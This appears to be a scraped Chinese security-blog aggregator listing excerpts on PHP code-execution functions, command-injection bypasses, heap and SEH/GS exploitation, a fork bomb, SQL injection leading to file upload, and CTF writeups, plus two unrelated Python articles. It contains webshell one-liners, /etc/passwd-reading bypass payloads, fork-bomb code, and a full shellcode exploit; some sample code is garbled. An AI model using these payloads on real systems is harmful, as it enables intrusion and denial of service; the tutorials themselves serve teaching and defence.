Python会不会支持函数重载?仅用30行代码搞定 安全开发

Python会不会支持函数重载?仅用30行代码搞定

来自公众号:程序员zhenguo你好,我是zhenguo我们知道Python语法本身并不支持函数重载,龟叔2005年写的一篇博文中说到:函数重载太高级了以至于他不会用到。但是龟叔不愧是仁慈大叔,他依然给出了Python实现函数重载的方法,代码实现在我看来简洁高级又明确。因为不支持函数重载,所以下面两个f的定义,第二个会覆盖第一个,因此调用第一个会报错:第一个def f(a: int):    print(f'a={a}')第二个def f(a: int, b: float):    print(f'a={a}, b')调用第一个:f(1)打印:TypeError: f() missing 1 required positional argument: 'b'龟叔使用装饰器对待重载的函数进行增强,使用registry作为函数字典,函数名为键,值为封装的MultiMethod对象# 这是 mm.py 中代码# 这是函数重载装饰器multimethoddef multimethod(*types):    def register(f):        f_name = f.__name__        mm = registry.get(f_name)        if mm is None:            mm = registry = MultiMethod(f_name)        mm.register(types, f)        return mm    return registerMultiMethod内部封装的type_dict属性是同一个函数名下的不同版本字典,注意只支持位置参数,使用参数组合类型作为key,其值为对应函数f# 这是 mm.py 中代码# 模块级变量registry = {} # 函数注册字典class MultiMethod(object):    def __init__(self, f_name):        self.f_name = f_name        self.type_dict = {}            def __call__(self, *args):        types = tuple(type(arg) for arg in args) # 生成器表达式        print(f"函数名={self.f_name}, 参数类型={types}")        function = self.type_dict.get(types)        if function is None:            raise TypeError(f"{types}不支持")        return function(*args)        def register(self, types, function):        if types not in self.type_dict:            self.type_dict = function这样后multimethod装饰器就具备函数重载功能,以下foo分别重载2个int,2个float,2个[email protected](int, int)def foo(a, b):   # 对整型a和b处理   print(f"a={a}, b={b}")@multimethod(float, float)def foo(a, b):    # 对浮点型a和b处理   print(f"a={a}, b={b}")@multimethod(str, str)def foo(a, b):    # 对字符串a和b处理   print(f"a={a}, b={b}")最后foo就可以实现函数重载了,调用它们:foo(2,1)foo(2.0, 1.0)foo('2.0s', '1.0s')打印结果如下所示:函数名=foo, 参数类型=(<class 'int'>, <class 'int'>)a=2, b=1函数名=foo, 参数类型=(<class 'float'>, <class 'float'>)a=2.0, b=1.0函数名=foo, 参数类型=(<class 'str'>, <class 'str'>)a=2.0s, b=1.0s参考龟叔的这篇博文:https://www.artima.com/weblogs/viewpost.jsp?thread=101605--- EOF ---推荐↓↓↓ 原文始发于微信公众号(Python编程):Python会不会支持函数重载?仅用30行代码搞定
阅读全文
变量覆盖漏洞 SecIN安全技术社区

变量覆盖漏洞

变量覆盖漏洞大多由函数使用不当导致,经常引发变量覆盖漏洞的函数有:extract()函数和parse_str(),import_request_variables()函数则是用在没有开启全局变量注册的时候,调用这个函数相当于开启了全局变量注册,在PHP 5.4之后这个函数已经被取消。另外部分应用利用\$\$的方式注册变量没验证已有变量导致覆盖也是国内多套程序都犯过的一个问题,这些应用在使用外部传进来的参数时不是用类似于\$_GET这样原来的数组变量,而是把里面的key注册成一个变量\$key,注册过程中由于没有验证该变量是否已经存在就直接赋值,所以导致已有的变量值会被覆盖掉。 变量覆盖漏洞指的是可以用我们自定义的参数值替换程序原有的变量值,变量覆盖漏洞通常需要结合程序的其他功能来实现完整攻击,这个漏洞想象空间非常大,比如原来一个文件上传页面,限制的文件扩展名白名单列表写在配置文件中,但是在上传的过程中有一个变量覆盖漏洞可以将任意扩展名覆盖掉原来的白名单列表,那我们就可以覆盖一个PHP的扩展名,从而上传一个PHP的shell。 1、挖掘经验 由于变量覆盖漏洞通常要结合应用其他功能代码来实现完整攻击,所以挖掘一个可用的变量覆盖漏洞不仅仅要考虑的是能够实现变量覆盖,还要考虑后面的代码能不能让这个漏洞利用起来。要挖可用的变量覆盖漏洞,一定要看漏洞代码行之前存在哪些变量可以覆盖并且后面有被使用到。 由函数导致的变量覆盖比较好挖掘,只要搜寻参数带有变量的extract()、parse_str()函数,然后去回溯变量是否可控,extract()还要考虑它的第二个参数,具体细节我们后面在详细介绍这个函数的时候再讲。import_request_variables()函数则相当于开了全局变量注册,这时候只要找哪些变量没有初始化并且操作之前没有赋值的,然后就大胆地去提交这个变量作为参数。另外只要写在import_request_variables()函数前面的变量,不过是否已经初始化都可以覆盖,不过这个函数在PHP 4\~4.1.0 和 PHP 5~5.4.0 的版本可用。 关于上面我们说到国内很多程序使用双\$\$符号去注册变量会导致变量覆盖,我们可以通过搜"$$"这个关键字去挖据,不过建议挖掘之前还是先把几个核心文件通读一遍,了解程序的大致框架。 1.1函数使用不当 目前变量覆盖漏洞大多都是由于函数使用不正确导致的,这些函数有extract()、parse_str()以及import_request_variables(),而其中最常见的就是extract()这个函数了,使用频率最高,导致的漏洞数量也最多,下面我们分别来看看这几个函数导致的漏洞原理。 1.1.1 extract()函数 extract() 函数将检查和符号表中已存在的变量名是否冲突。对冲突的键名的处理将根据此参数决定。 extract()函数覆盖变量需要一定条件,它的官方说明为"从数组中将变量导入到当前的符号表",通俗讲就是将数组中的键值对注册成变量,函数结构如下: int extract( array &$var_array ) 最多三个参数,我们来看看这三个参数的作用,参见表 | 参数 | 描述 | | -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | var_array | 必需。规定要使用的数组。 | | extract_type | 可选。extract() 函数将检查每个键名是否为合法的变量名,同时也检查和符号表中已存在的变量名是否冲突。 对不合法和冲突的键名的处理将根据此参数决定。可以是以下值: EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。 EXTR_SKIP - 如果有冲突,不覆盖已有的变量。 EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。 EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。 EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。 EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。 EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。 EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。这有力地说明了导入的变量仍然引用了var_array参数的值。可以单独使用这个标志或者在extract_type中用OR与其他任何标志结合使用。 | | prefix | 可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。 该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。如果附加了前缀后的结果不是合法的变量名,将不会导入到符号表中。 | 从以上说明我们可以看到第一个参数是必须的,会不会导致变量覆盖漏洞由第二个参数决定,该函数有三种情况会覆盖掉已有变量,第一种是第二个参数为EXTR_OVERWRITE,它表示如果有冲突,则覆盖已有的变量。第二种情况是只传入第一个参数,这时候默认为EXTR_OVERWRITE模式,而第三种则是第二个参数为EXTR_IF_EXISTS,它表示仅在当前符号表中已有同名变量时,覆盖它们的值,其他的都不注册新变量。 为了更清楚地了解它的用法,我们用代码来说明,测试代码如下: php  <?php        $b = 3;    ...
阅读全文
Vulnerability Guide - 命令执行漏洞从入门到放弃(一) SecIN安全技术社区

Vulnerability Guide - 命令执行漏洞从入门到放弃(一)

0x0a、基础 一、危害:控制参数,进行系统命令执行 二、原因:在程序工作的时候可能会调用一些系统执行命令函数,将我们的恶意代码输入到函数中,就造成了命令执行漏洞 三、常见的php命令执行函数 四、命令执行可能存在的地方 web源码、中间件等等 五、防御 敏感函数禁用、变量过滤或固定、waf产品 六、管道命令符 分号分割 || && & 分割 | 管道符 \r\n %d0%a0 换行 反引号解析 $() 替换 七、常见绕过方式 1、空格绕过 < 符号 cat<123 \t / %09 ${}{IFS} 其中{}用来截断,比如cat 会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串 2、黑名单绕过 a=l;b=s;$a$b base64 echo "bHM=" | base64 -d /?in/?s => /bin/ls 连接符 cat /etc/pass'w'd 未定义的初始化变量 cat$x /etc/passwd 3、长度限制绕过 wget>foo.>comls -t>ash a 上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令这里可以使用一些诸如w, 一个在括号内的字符,e.g. < - > 在编码顺序内的所有字符 一个不在括号内的字符 防御 不使用时禁用相应函数 尽量不要执行外部的应用程序或命令 做输入的格式检查 转义命令中的所有shell元字符 shell元字符包括 #&;`,|*?~<>^(){}$\ 0x0b、利用 1、low windows命令: whoami、 netstat -ano、 net user、ping、type、cat、dir 1、whoami/groups 命令查看我们当前的权限 2、systeminfo 命令查看系统已打的补丁 3、arp -a 查看arp缓存 4、route print 查看路由表 5、netstat -ano 查看本机所有的TCP\UDP端口以及对应的pid 6、 tasklist 查询进程信息 7、net user 查看本机用户列表8、net localgroup administrators 获取本地管理员信息 命令连接符:&&(执行command1,成功后再执行 command2)...
阅读全文
代码审计-常见php威胁函数(上) 代码审计

代码审计-常见php威胁函数(上)

常见php回调函数,可调用其他命令/代码执行函数:*call_user_func()call_user_func_array()create_function()array_walk()array_map()array_filter()、usort()ob_start()、可变函数$_GET($_GET)常见php可执行系统命令的函数:system()、passthru()、exec()、shell_exec()、 pcntl_exec()、popen()、proc_open()常见php可代码执行的函数:eval()、assert()、preg_replace()、$禁用危险函数php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数。如:disable_functions =system,passthru,shell_exec,exec,popen一、可执行php代码的函数1.<?php eval($_GET); assert($_GET); ?>php 7.1.7 ,已经无法用call_user_func回调调用 test.php?cmd=phpinfo(); preg_replace() 5.6以下可以执行 5.6以上仍然可以执行,但是会有警告 PHP7后已经不支持/e修饰符 preg_replace(“/test/e”,$_GET,”jutst test”); //将jutst test以/test正则匹配以h来替换 /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码 ?h=phpinfo() ${phpinfo()}二、常见php回调函数,可调用其他命令/代码执行函数:1) call_user_func()call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数 <?php1.call_user_func($_GET,$_GET);2.//xxx.php?a1=system&a2=whoami  //命令执行3.//xxx.php?a1=assert&a2=phpinfo()   //代码执行 ?>2) call_user_func_array()call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入1.<?php2.call_user_func_array($_GET,$_GET);3.//xxx.php?a1=system&a2=whoami4.//xxx.php?a1=assert&a2=phpinfo()5.?>3) create_function()创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值1.<?php2.$b=create_function('', @$_REQUEST);$b();3.//xxx.php?a=phpinfo();4.?>4) array_walk()array_walk — 使用用户自定义函数对数组中的每个元素做回调处理1.<?php2.array_walk($_GET,$_GET);3.//xxx.php?a=phpinfo()&b=assert4.//xxx.php?a=whoami&b=system5.?>5) array_map()array_map()为数组的每个元素应用回调函数。返回数组,是为 array1 每个元素应用 callback函数之后的数组。callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。1.<?php array_map($_GET,$_GET);2.//xxx.php?a=system&b=whoami3.//xxx.php?a=assert&b=phpinfo()4.//$array = array(0,1,2,3,4,5);5.//array_map($_GET,$array);6.//.php?a=phpinfo ?>6) array_filter()array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true, 则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。1.<?php array_filter(array($_GET),$_GET);2.//?func=system&cmd=whoami3.//?func=assert&cmd=phpinfo() ?>7) 可变函数$var(args)PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数, 并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。1.<?php  $_GET($_GET);2.//xxx.php?a=system&b=whoami3.//xxx?a=assert&b=phpinfo()4.?>8) usort()本函数将用用户自定义的比较函数对一个数组中的值进行排序 php5.6之前可以1.<?php2.usort(...$_GET);3.?>4.payload: 1.php?1=0&1=eval($_POST)&2=assert POST传参: x=phpinfo();9)uasortphp5.6 php7不可以1.<?php2.$a = $_GET;3.$onearray = array('Ameng', $_POST);4.uasort($onearray, $a);5.?>6.payload: 1.php?a=assert POST传参: x=phpinfo();10)ob_startob_start — 打开输出控制缓冲1.<?php $foobar = $_GET;2.ob_start($foobar);3.echo $_GET;4.ob_end_flush(); ?>5./test.php?h=whoami&b=system三、常见php可执行系统命令的函数:1) system()1.<?php system($_GET); //xxx.php?a=whoami ?>2)...
阅读全文
【技术分享】house of pig一个新的堆利用详解 逆向工程

【技术分享】house of pig一个新的堆利用详解

简述本利用方式应用于xctf 2021 final同名题目,该攻击方式适用于 libc 2.31及以后的新版本 libc,本质上是通过 libc2.31 下的 largebin attack以及 FILE 结构利用,来配合 libc2.31 下的 tcache stashing unlink attack 进行组合利用的方法。主要适用于程序中仅有 calloc 函数来申请 chunk,而没有调用 malloc 函数的情况。(因为 calloc 函数会跳过 tcache,无法完成常规的 tcache attack 等利用,同时,因为程序中没有 malloc 函数也无法在正常的 tcache stashing unlink attack 之后,将放入 tcache 中的 fake chunk 给申请出来 )。该方法最为核心的地方在于,利用了 glibc 中 IO_str_overflow 函数内会连续调用 malloc 、memcpy、free 函数的特点,并且这三个函数的参数都可以由 FILE 结构内的数据来控制。关于libc2.31 下的 largebin attack 的手法可以参考:largebin_attack,不过 libc2.29 之后的 libc 将原本的两条利用路径修补了一条,所以只有一条路径可以完成该攻击了。该攻击的最终效果是可以往任意地址写一个当前 largebin 堆块的堆地址。关于libc2.31 下的 tcache stashing unlink attack 的细节详见:tcache_stashing_unlink_attack,该攻击的最终效果有两个,我们这里使用的是该攻击可以将任意目标 fake chunk 放入 tcache 链表头部的效果特性。利用条件至少存在 UAF 漏洞。利用思路1、先用 UAF 漏洞泄露 libc 地址 和 heap 地址。2、再用 UAF 修改 largebin 内 chunk 的 fd_nextsize 和 bk_nextsize 位置,完成一次 largebin attack,将一个堆地址写到 __free_hook-0x8 的位置,使得满足之后的 tcache stashing unlink attack 需要目标 fake chunk 的 bk 位置内地址可写的条件。3、先构造同一大小的 5个 tcache,继续用 UAF 修改该大小的 smallbin...
阅读全文
Birdseye 极其强大的Python调试工具 安全开发

Birdseye 极其强大的Python调试工具

来自公众号:Python实用宝典链接:https://pythondict.com/github/birdseye/Birdseye是一个Python调试器,它在函数调用中记录表达式的值,并让你在函数**退出**后轻松查看它们,例如:无论你如何运行或编辑代码,都可以使用Birdseye。只需要你安装好依赖:pip install birdseye并在代码函数上方添加  @eye  装饰器(如上动图所示),即可根据需要运行函数,并在浏览器中查看结果。它还可以与一些常用工具集成在一起,如 Pycharm 和 Vscode,以提供更流畅的体验,后续我们会介绍如何将其与这些工具结合使用。它不仅仅能够单步执行,还能在循环迭代中来回移动,并查看所选表达式的值如何变化:通过 birdseye 你能很容易地知道哪些表达式引发了异常:你也能够展开具体的数据结构和对象以查看其内容:调用会按功能组织(文件组织)并进行时间排序进行显示,让你一目了然地看到发生了什么:1.快速上手首先,使用 pip 安装 birdseye :pip install birdseye然后,对需要进行调试的函数使用eye装饰器:from birdseye import [email protected] foo():在你调用该函数完成后,在终端运行命令打开Birdseye的Web服务:python -m birdseye在浏览器打开 http://localhost:7777 就能看到需要调试的函数执行流程了。点击下图的按钮即可跳转到最新的函数调用。2.在Pycharm中集成调试在 Pycharm 的 Settings 中,点击 Plugins 插件市场搜索 birdseye 点击 install 安装。安装完成后重启Pycharm,就可以在 Pycharm 中使用 birdseye了:默认情况下,该插件还可以为你自动运行Birdseye服务器,因此就不需要输入 python -m birdseye 那行命令了。3.在VSCode中集成调试在VSCode中继承调试Birdseye也非常方便,点击左侧的扩展商店,在弹出框中输入搜索 birdseye,并点击 install 安装:安装完成后,点击 F1 输入Birdseye,就能显示调试界面:如果无法正常显示右侧调试界面,并提示未安装birdseye,但实际上你已经安装成功了,这一般是路径错误导致的,请在扩展设置中手动更改python路径为你安装了Birdseye的Python。4.美中不足Birdseye 是一个非常强大的调试工具,但我认为这还是有缺点可以改善的:1.为了防止堆栈过大,每个迭代它最多只保留6个(前三、末三)元素:因此如果你想看一些特殊元素值的执行情况,它可能不会如你所愿。不过,不需要担心某些分支你调试不到,因为 birdseye 有个保险机制:如果一个表达式仅在某种特定情况下会被执行,那么执行时的元素也会被加入到可调试元素中。2.由于需要记录堆栈,程序会大大减慢速度,因此它绝对不适合上到生产环境。3.每个函数调用,Birdseye 都需要收集许多数据,对于某些极其复杂的函数调用,可能会引发内存问题。如果你不担心这三个缺点,而且希望能快速方便地看到函数中不同分支的执行情况,那么Birdseye就是你的不二之选。--- EOF ---推荐↓↓↓ 原文始发于微信公众号(Python编程):Birdseye 极其强大的Python调试工具
阅读全文
pwn0基础第一弹 CTF专场

pwn0基础第一弹

题目 下载二进制文件,使用checksec命令查看保护开启情况 可以看到,二进制文件是32位文件 开启了NX保护 使用IDA查看代码 找到main函数,在左侧可以直接双击,然后按F5可以查看C语言的代码 主函数调用了welcome函数,双击welcome可以进入welcome函数 发现危险函数.gets,这里没有判断长度,可能造成栈溢出。可以看到定义了字符数组s,距离ebp为0×14偏移。 为了大家更好的理解栈,我这里简单的举个栗子。当调用一个函数的时候,需要给这个函数传入参数,参数的 值需要放到一个内存地址来保存。否则这个函数执行起来的时候,参数没有办法拿到。 再形象一点,就是老板说:去,把这堆砖搬了。 可以把这句话理解为一个CPU指令,调用了搬砖这个过程(函数),条件是这堆(参数)。此时作为我们搬砖人 开始执行搬砖这个过程(函数),我们搬之前,先在心里记住了要搬砖的位置(参数入栈),然后执行搬砖这个动作 使用砖块位置(栈上参数)作为执行对象。搬完砖之后,跑回老板这里(返回地址),告诉老板,我搬砖完成了。 溢出就是,我告诉你的砖块位置很长,长到把老板的位置(返回地址)给盖住了,当我们搬砖完毕后,发现直接 到了老板的保险箱旁边,而且保险箱还没有上锁! 我个人理解的栈溢出就是这么个概念,大家见笑了。下面我们分析代码: 脚本 我是故意不用文本的,有心的同学可以自己动手操作一番。 getFlag_Address 是怎么来的呢?看下面的图,IDA帮我们分析出来了 该字符串距离 ebp 的长度为 0×14,那么相应的栈结构为 +—————–+ | retaddr | +—————–+ | saved ebp | ebp—>+—————–+ | | | | | | | | | | | | s,ebp-0×14–>+—————–+ 我感觉我已经写的非常详细了,避免了枯燥的概念,希望可以帮到大家。如有错误,欢迎指正。 相关推荐: web_ctf 题型总结ctf 常见套路总结01、   工具集02、   常用套路总结web源码泄露003、  php弱类型004、   绕 WAF附一张图01、 工具集    基础工具  &n…
阅读全文
对抗GS之攻击异常处理突破 GS 安全闲碎

对抗GS之攻击异常处理突破 GS

扫一扫关注公众号,长期致力于安全研究前言:本文通过SEH异常绕过GS安全机制0x01 GS是什么直接看下图吧,看完之后是不是发现了对普通的栈溢出有了很大的限制性但是不要灰心,为了性能,有些是不会使用GS的(1)函数不包含缓冲区。(2)函数被定义为具有变量参数列表。(3)函数使用无保护的关键字标记。(4)函数在第一个语句中包含内嵌汇编代码。(5)缓冲区不是 8 字节类型且大小不大于 4 个字节0x02 突破GS机制根据0X01中的内容,如果当Security Cookie与原.data中副本的值不吻合,就会触发异常,而触发异常的话寻找的是最近的S.E.H异常结构体。这样的话就可以根据此点突破GS机制,当shellcode足够长,覆盖到S.E.H入口函数地址即可(此时入口函数地址修改为shellcode地址)。0x03 代码讲解绕过全部代码如下,遇到strcpy一眼就看出是一个溢出了,继续往下看strcat,这里字符串拼接肯定是会到异常的,当异常的话,就会执行我们的shellcode了。#include <string.h>char shellcode="xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C""x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53""x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B""x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95""xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59""x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A""xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75""xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03""x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB""x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50""x53xFFx57xFCx53xFFx57xF8x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"//差21个"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x78xFEx12x00";void test(char* input){ char buf; strcpy(buf,input); strcat(buf,input);}int _tmain(int argc, _TCHAR* argv){ test(shellcode); return 0;}    继续看OD分析,当strcpy执行完之后,可以看到栈内的情况,S.E.H函数地址修改为了shellcode的起始位置    当再次执行strcat就会进入异常,并成功执行shellcode。11111微信搜索关注 "安全族" 长期致力于安全研究下方扫一下扫,即可关注 本文始发于微信公众号(安全族):对抗GS之攻击异常处理突破 GS
阅读全文
解析超经典的 Linux Fork 炸弹 安全文章

解析超经典的 Linux Fork 炸弹

来自:Magic 链接:https://blog.saymagic.cn/2015/03/25/fork-bomb.html Jaromil在2002年设计了最为精简的一个Linux Fork炸弹,整个代码只有13个字符,在shell中运行后几秒后系统就会宕机: :() { :|:& };: 这样看起来不是很好理解,我们可以更改下格式: :(){ :|:&};: 更好理解一点的话就是这样: bomb(){ bomb|bomb&};bomb 因为shell中函数可以省略function关键字,所以上面的十三个字符是功能是定义一个函数与调用这个函数,函数的名称为:,主要的核心代码是:|:&,可以看出这是一个函数本身的递归调用,通过&实现在后台开启新进程运行,通过管道实现进程呈几何形式增长,最后再通过:来调用函数引爆炸弹.因此,几秒钟系统就会因为处理不过来太多的进程而死机,解决的唯一办法就是重启。 Bomb一下 秉着不作不死的心态,我们也来运行一下,于是我将矛头指向云主机,我使用了国内的一个2G内存的云主机,首先在本地开启两个终端,在一个终端连接云主机后运行炸弹,几秒后再尝试用另外一个终端登录,效果可以看下面Gif图: 看,运行一段时间后直接报出了-bash: fork: Cannot allocate memory,说明内存不足了。并且我在二号终端上尝试连接也没有任何反应。因为是虚拟的云主机,所以我只能通过主机服务商的后台来给主机断电重启。然后才能重新登录: 炸弹危害 Fork炸弹带来的后果就是耗尽服务器资源,使服务器不能正常的对外提供服务,也就是常说的DoS(Denial of Service)。与传统1v1、通过不断向服务器发送请求造成服务器崩溃不同,Fork炸弹有种坐山观虎斗,不费一兵一卒斩敌人于马下的感觉。更吓人的是这个函数是不需要root权限就可以运行的。看到网上有帖子说某些人将个性签名改为Fork炸弹,结果果真有好奇之人中枪,试想如果中枪的人是在公司服务器上运行的话,oh,! 预防方式 当然,Fork炸弹没有那么可怕,用其它语言也可以分分钟写出来一个,例如,python版: import os  while True:  os.fork() Fork炸弹的本质无非就是靠创建进程来抢占系统资源,在Linux中,我们可以通过ulimit命令来限制用户的某些行为,运行ulimit -a可以查看我们能做哪些限制: [email protected]:~$ ulimit -acore file size          (blocks, -c) 0data seg size           (kbytes, -d) unlimitedscheduling priority             (-e) 0file size               (blocks, -f) unlimitedpending signals                 (-i) 7782max locked memory       (kbytes, -l) 64max memory size         (kbytes, -m) unlimitedopen files                      (-n) 1024pipe size            (512 bytes, -p) 8POSIX message queues     (bytes, -q) 819200real-time priority              (-r) 0stack size              (kbytes, -s) 8192cpu time               (seconds, -t) unlimitedmax user processes              (-u) 7782virtual memory          (kbytes, -v) unlimitedfile locks                      (-x) unlimited 可以看到,-u参数可以限制用户创建进程数,因此,我们可以使用ulimit -u 20来允许用户最多创建20个进程。这样就可以预防bomb炸弹。但这样是不彻底的,关闭终端后这个命令就失效了。我们可以通过修改/etc/security/limits.conf文件来进行更深层次的预防,在文件里添加如下一行(ubuntu需更换为你的用户名): ubuntu - nproc 20 这样,退出后重新登录,就会发现最大进程数已经更改为20了, 这个时候我们再次运行炸弹就不会报内存不足了,而是提示-bash: fork: retry: No child processes,很棒,此时说明Linux限制了炸弹创建线程。 参考 http://en.wikipedia.org/wiki/Fork_bomb --- EOF --- 推荐↓↓↓
阅读全文
从sql注入到任意文件上传 安全文章

从sql注入到任意文件上传

复现过程从回显可以明确的看到这是一个报错注入,如果没有回显报错的话,为了查看是否进行了sql语句的拼接可以去查看mysql的log日志,可以通过Navicat的日志功能去查看。在对CMS不是很熟悉的情况下可以通过搜索关键字来定位大概的漏洞位置,customurl成功的引起了我的注意,这是表的名字,经过简单判断,定位到函数位置为/Home/c/HomeController.php中342-355行中,用户传入参数url然后进入到find函数中处理。跟进到find函数中,位于/FrPHP/lib/Model.php,find函数主要去调用findAll函数去拼接执行sql语句。public function find($where=null,$order=null,$fields=null,$limit=1) { if( $record = $this->findAll($where, $order, $fields, 1) ){ return array_pop($record); }else{ return FALSE; } }这里看代码看的头疼,为了直观展示代码的执行过程可以用phpstorm配合xdebug的方式去调试php代码,可以看到将我们传入的参数直接带入查询,然后调用getArray函数去执行。public function findAll($conditions=null,$order=null,$fields=null,$limit=null) { ..... ..... if(!empty($limit))$where .= " LIMIT {$limit}"; $fields = empty($fields) ? "*" : $fields; $table = self::$table; $sql = "SELECT {$fields} FROM {$table} {$where}"; return $this->db->getArray($sql); }在 /FrPHP/db/DBholder.php中, getArray函数调用query函数,如果有错误将输出错误信息。在接下来发现该CMS允许上传的文件类型是保存在数据库中的:通过数据库写入到缓存文件,在使用时从缓存文件中去看上传的类型是不是缓存文件中允许的,如果是则允许上传。那可以通过SQL注入漏洞更新下数据库,写入允许上传的后缀php,即可实现getshell。然后登陆后台清空缓存让网站重新获得新的缓存,然后上传php文件。看到上传成功了。既然是代码审计,我们也来跟下网站获取上传类型的方式:在/A/c/CommonController.php 中uploads函数中是从webconf中获得的fileType的值。$fileType = $this->webconf; if(strpos($fileType,strtolower($pix))===false){ $data = "Error: 文件类型不允许上传!"; $data = 1002; JsonReturn($data); }webconf函数位于/Conf/Functions.php中,通过调用getCache函数来获取相关的值。function webConf($str=null){ //v1.3 取消文件存储 //$web_config = include(APP_PATH.'Conf/webconf.php'); $webconfig = getCache('webconfig');}getCache函数位于/FrPHP/common/Functions.php。function getCache($str=false){ if(!$str){ return false; } //获取 $s = md5($str).'frphp'.md5($str); $cache_file_data = APP_PATH.'cache/data/'.$s.'.php'; if(!file_exists($cache_file_data)){ return false; } $last_time = filemtime($cache_file_data);//创建文件时间 $res = file_get_contents($cache_file_data); $res = substr($res,14); $data =...
阅读全文
第一届长城杯网络安全大赛WP CTF专场

第一届长城杯网络安全大赛WP

HVV结束后的第一场CTF~点击上方蓝字关注我们成功晋级决赛,全国线上排名11(Xenc师傅不在,web没有ak)01Web-ezjavajd-gui反编译jar包可以看源码找到Hello类中的关键函数也找到属性配置然后开始写java代码Encrypt里增加了一段加密实现:主函数从网上抄了一段hashmap序列化代码输出:12wXVxsSaj0AeRCrkummuENOeFnuqLdUqQzYl0v32nzs-v_o74o_1IBkpDPz3wIH0-m4jQUnnD811YZFr8K6Uia4XF2cyzMgSWQGQKoT-jt0yT2iUuCid1vhGx7sbKrDMFiZgvi6p9R11KzgTOjZJy5zrkngiG9HK1bs4sbRuLIi4kEY_qu0QMBIX6l0ujkH49setY5FtCagC-L1-bVh9Mq-uKWpBwmChMxL4uq41ohiF1KtKHKegORl4K3akx9ho4i0amz3wzvrAam-ok584uYIzL8Qv-Jf32uT8oGDS-IiRMxyDU_gBe4UxZCJbYdwZQOHIsVdbYupFP4fkcrhpp2vdvBTDoM3jBzEedcHXqg= 然后直接post到/attack即可得到flag02Web-p&p测试发现存在注入且有报错信息,然后又发现可以进行堆叠注入。以为跟强网杯很相识,但发现关键函数都已过滤,试了一堆后本以放弃。但扫目录发现有个adminisapi.php文件,打开如下提示必须要admin_inner用户,所以必须要要将用户名改为admini_inner。查阅资料发现replace可以替换值登陆进去后就是代码审计了adminsapi.phpNotice: session_start(): A session had already been started - ignoring in /var/www/html/adminsapi.php on line 2<?php session_start();error_reporting(0);if($_SESSION!='admin_inner'){ die("Only admin_inner");}else if(isset($_GET)){ $action = $_GET;}else{ show_source(__FILE__);}function curlNet($route,$payload=null){ $url = 'http://127.0.0.1:18888/'.$route; $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); if($payload!==null){ curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); return(@$result?$result:'false');}function curlNetAll($url,$payload=null){ $ch = curl_init($url); curl_setopt($ch, CURLOPT_HTTPHEADER); if($payload!==null){ curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); return(@$result?$result:'false');}switch 